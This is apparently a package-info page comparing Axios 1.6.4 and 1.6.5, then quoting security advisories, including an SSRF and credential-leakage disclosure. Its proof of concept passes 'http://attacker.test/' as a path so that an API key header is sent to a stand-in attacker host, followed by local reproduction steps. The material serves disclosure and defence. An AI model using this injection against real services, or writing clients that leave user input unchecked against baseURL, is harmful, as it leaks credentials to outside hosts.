Axios 1.6.5 represents a subtle yet important update over its predecessor, Axios 1.6.4, in the popular promise-based HTTP client library. While both versions share the same core dependencies, including "form-data," "proxy-from-env," and "follow-redirects," ensuring continued compatibility with existing systems, the key differences lie in the internal packaging and the release date.
Developers who depend on Axios for making HTTP requests in both browser and Node.js environments will find that the upgrade to 1.6.5 likely entails minimal code changes. However, the increase in unpacked size, from 1802694 to 1804160, and the more recent release date, indicate that there were likely bug fixes, performance improvements, or other minor adjustments under the hood.
The "devDependencies" sections remain identical, suggesting that the core development and testing tooling have not been significantly altered. This is helpful for developers who are contributing to the library or using the same tools for their projects. Also, the file count in the distributable package stays the same. However, a newer release date indicates potentially a fix or update to some internal files.
For most users, the transition from 1.6.4 to 1.6.5 should be seamless. However, examining the release notes and commit history on the Axios GitHub repository is recommended to gain a deeper understanding of the specific changes incorporated in this version. The newer version incorporates small improvements, and updating ensures the most stable and performant HTTP client experience.
All the vulnerabilities related to the version 1.6.5 of the package
Server-Side Request Forgery in axios
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.